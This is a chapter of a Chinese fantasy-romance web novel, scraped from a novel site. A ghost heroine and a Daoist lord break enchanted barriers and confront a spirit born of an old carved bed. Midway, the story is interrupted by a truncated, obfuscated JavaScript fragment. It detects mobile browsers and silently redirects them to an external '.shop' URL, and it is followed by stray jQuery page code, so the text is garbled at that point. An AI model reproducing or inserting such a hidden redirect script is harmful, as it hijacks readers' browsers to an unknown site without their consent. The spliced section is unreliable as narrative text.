文趣网 > 其他小说 > 艳鬼求生指南 > 9. 千工之床
    怪不得系统说没有术法也可,这里困的不是人身,只是一缕残念罢了。

    如若没错,困住的不过是爱恋之因,不忠之心,贪婪之欲,富贵之想,怨恨之意,痴缠之果。

    她迎面而去,指尖触上星图。

    那里繁星点点,却缺少一弯皎月。

    再过十二时辰,月光便会穿透乌云,投射到星图之上。

    届时以铃音为始,景象便重新浮动。

    心念为引,必然要直面执念。如今的自己,除了想活下去,也无其他了。

    她将意念凝于掌心,分为六道路。

    一为婴儿降世之喜悦,二为武将护国之忠心,三为僧人诵经之虔诚,四为农户耕种之欢乐,五为女子幼时之天真,六为老者离世之苦楚。

    以生门破苦门,以世间万物破心念虛妄。

    皎月已出,六道路在触及星河时,缺失的六星突然亮起,与天穹明月连成六线。

    光芒之下,六种声音同时迸裂而出:有孩童在襁褓中啼哭、少女在田间笑闹、僧人在禅房吟唱...几种声音与星图中铃声交织,从单音到成曲,层层叠叠,来往反复,似与十二星神同吟同唱。

    眼前的图纹缓慢流动起来,十二星神从星河中走出,化成十二道身影,在光芒之下忽明忽暗。

    宣怜正想开口,却见十二道光影忽然收缩成一道灵光融入她的残魂。

    这是...她的灵力波动!只是怎么会在这里出现?

    宣怜从星图中出来,身侧依旧不见他的身影。

    按理说应该不会啊,道君道心向来坚毅,比她不强多了。

    宣怜在身侧找了半天,才在池下见到他的倒影。

    呵,他还真在里面。

    他的五官静谧安定,长发散开在水中飘浮,宣怜将手指伸进去,触上了他坚挺的鼻尖。

    那立体如雕刻般的面庞比之初见时好似瘦了几分。

    她的手指从他的鼻尖滑至他的下颌,从前他也会趁他熟睡偷偷摸摸在他的脸颊上摸两下。

    只是这人戒备心极高,她甚少如愿罢了...虽说是她采阳补阴了,但也不至于屡次对她痛下杀手吧?

    她正寻思着,他的手掌已经紧紧扣住她的手握,随即翻身跃上莲叶。

    只是他的眼底早失了清明,只剩朱红之色。

    他俯身困住她的身体,吻上她的唇畔。

    “你醒醒,是我!”杀千刀的,连魂体都不放过!

    “我知道是你。”他的声音低沉,听不清情绪。

    “什么...知道...是我?”她躲闪的眼神有些迟疑。

    紧跟着,是他沉重的呼吸。

    他的大掌穿过她的身体企图将她按进怀中。只是没有意料内的柔软,她的虚影从他的身上透了过去...

    一个力道没收住,从新栽进了水塘中。

    宣怜看着他逐渐清醒的眉眼,挑眉道:“道君这么喜欢水下的感觉?”

    都说这道君道法天成,看样子也是个道心不坚的!

    他们正道装的道貌岸然,其实内里还没有她们合欢宗活得敞亮!

    他从水中出来,灰青色长袍紧贴着他瘦窄有力的身躯。

    胸膛上的肌理走向一览无余...

    像是察觉到她的眼神,他皱眉施了一个净衣决。

    待他收拾好正准备离开,却见莲叶之上又来了几个修仙门派,站在其中的还是之前遇见的伏耀宗。

    这些人怎么也来了?

    “道君,救我!”宣怜还在疑惑,就见他们脚边上还蹲了一个,正是茯药。

    这些人怎么连凡人都抓?

    闻言,冶山宗的几个修士呵斥道:“我们乃是正派修士,请你跟来不过是帮我们一个忙,时辰到了自然放了你,谈何相救?”

    “这位道友,她人愿意才是帮忙,她人不愿那便是强求了。”

    “道君还未曾开口,你一个人不人,鬼不鬼的东西也敢质疑我冶山宗做事!”

    “你说谁人不人,鬼不鬼!”宣怜从道君的储物袋中顺出来一张雷符,欲将雷决打下。

    这些人还真是令人恶心!

    只是她还未有动作,道君已凝结雷电之力于指尖,小结界上金色雷电滚滚而来!

    朱葛眼看情况不妙,在一旁打圆场道:“道君莫气,冶山宗的师兄嘴拙,说错了话,还请道君看着各家仙门的面子上,莫跟他一般见识。”

    他面上薄怒未消,顶上雷电交织如同一张密网。

    随即伴随着咆哮之音,雷电砸向莲池之中。

    仙门众人全部跌进莲池之内,只有一团薄雾包裹茯药漂浮了过来。

    宣怜歪在他身上讨好道:“多谢道君为我撑腰!您简直就是大好人~”

    他嫌恶将袖子从她怀中剥离:“与你无关。”

    眼看着众人从莲池消失,茯药心惊道:“他们死了?”虽说他们把她带来此处,可还罪不至死,若是因为她,损了道君的道心,那就罪过了。

    “别担心,池中本就是结界,道君只是送他们早点前往罢了。”至于去的时候会不会被雷电击出点伤,那就不得所知了。

    莲池旁倒是一片岁月静好,两层的木屋上,开满了彩色的小花,青绿的藤蔓卷着圆木一层层盘绕,最终给了这石墙添了翠绿。

    宣怜往前飘了几步,从门缝里面钻了进去,这屋内布置的也是别致。

    十二根木柱撑住了整栋木屋,无数藤蔓从上方垂下,碧绿的叶子肆意舒展。

    桌案之上还摆了女子各式首饰,钗环玉饰,琳琅满目。

    “这些东西瞧着有些眼熟,好似在哪里见过。”茯药的目光停在其中一对红宝石发簪上。

    “这个是柳姑娘的,新婚当日她发髻旁簪的便是这对。”

    话音刚落,屋内卷起一阵香气,似雪地冰兰,却又裹着几分邪气。

    这气味倒是与喜房内一致。

    宣怜的衣袂无风而动,廊下铜铃轻响,惊得藤蔓上的花蕊簌簌而下。

    屋内的石板上溅落点点碎光,茯药不由自主地伸手去触那对红宝石发簪,刚要碰到簪身,簪尾处浮起一缕淡红色烟霭。

    烟雾乍起,木屋开始旋转浮动。

    唉,这是又踏进了小结界。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673586|207411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >木屋旋转,屋内中间的十二根木柱牵动着无数条藤蔓开始旋转挥舞。

    柱身之上,薄衣女子栩栩如生。随着舞姿逐渐加快,十二个女子脱离了木柱,走了出来。

    “你们有没有觉得这十二个女子面孔几乎一致,只是衣着与年纪上有些区别。”

    宣怜仔细看了一眼,冲着她们笑道:“各位姐妹,我们不小心闯进这里,惊扰了各位,实属抱歉,我们这就离开。”

    众人捂嘴同步笑着,声音时高时低,参差不齐。

    真是怪瘆人的,茯药缩着肩往她的身旁凑了凑。“这就是吃了柳姑娘的妖怪吗?还真是够自恋的。”

    “妖怪?倒也够不上。妖怪多由山木禽类所化,这不过是千工拔步床蕴出的灵物罢了。这灵物修为有高有低,分为初阶、中阶、高阶、灵阶。初阶的灵物大约练气修为,中阶的灵物相当于人族的筑基期,而高阶则与结丹期无异,灵阶则相当于元婴修为。”

    “那这灵物是几阶?

    “千工床造成数百年,如若没错,应在高阶与灵阶之间了。”

    “那道君是什么境地?打的过吗?”茯药在她身边小声问着。

    “若论境界,对方境界更高,但是人类修士的实际修为要比同阶的灵物、妖兽高出些许。何况道君常年越级杀怪,我们应该担心自己才是!”

    宣怜赶忙躲进旁边的桌案下,还不忘拉着她一起。

    “我俩好好藏着,就算给道君帮忙了!”

    茯药眼角直抽,敢情这人跟她一样半斤八两。

    藤蔓由少到多,由细到粗,原先不足手腕粗的藤蔓逐渐变大加快。

    “你看见没,藤蔓从尾部开始变色了?”

    宣怜仔细看去,正由鲜绿转为浓绿,又由橙红转为灰褐。

    如若没有猜错,这应该是小四季阵。

    四季之阵对应的应是四时轮回,暗合天地秩序。

    “春风、夏雨、秋雷、冬雪。”

    “道君,以四时轮回对此阵法!”

    “嗯。”他的声音清浅不可闻,但是随着狂风大起,他的双手从丹田处提起,双手合掌,十指交错,击中阵中节点。

    风沙迷乱中,他的身躯坚毅不拔,月白色长袖在风中卷曲,凌乱的发丝下那张脸依旧锋利白皙。

    不错,是她曾经看中的人!

    不多时,阵法应声而破,十二根木柱后面是银色锁链,锁住了数道生魂。

    茯药瞳孔骤缩,她与柳姑娘也算相识,如今没过几日,却已成这般情境。

    忽听得屋内传来一阵叮当之音,只见走出来一位红衣女子,一头青丝绾起,眼尾上挑,身形姣好。

    “几位还真是好手段,差点拆了我这个屋。”

    茯药愤恨道:“我们不仅要拆了你的屋,还要拆了你的人!”

    “你们何必如此气愤呢?她们留在这里陪我不好吗?不必忍受那负心薄幸的情郎?在法阵之中,她们想拥有什么我都能给。”

    “到底是你给她们,还是她们给你。没了新鲜的血肉,你还能维持这小结界?”她自己已没有肉身,每一日都过得小心谨慎。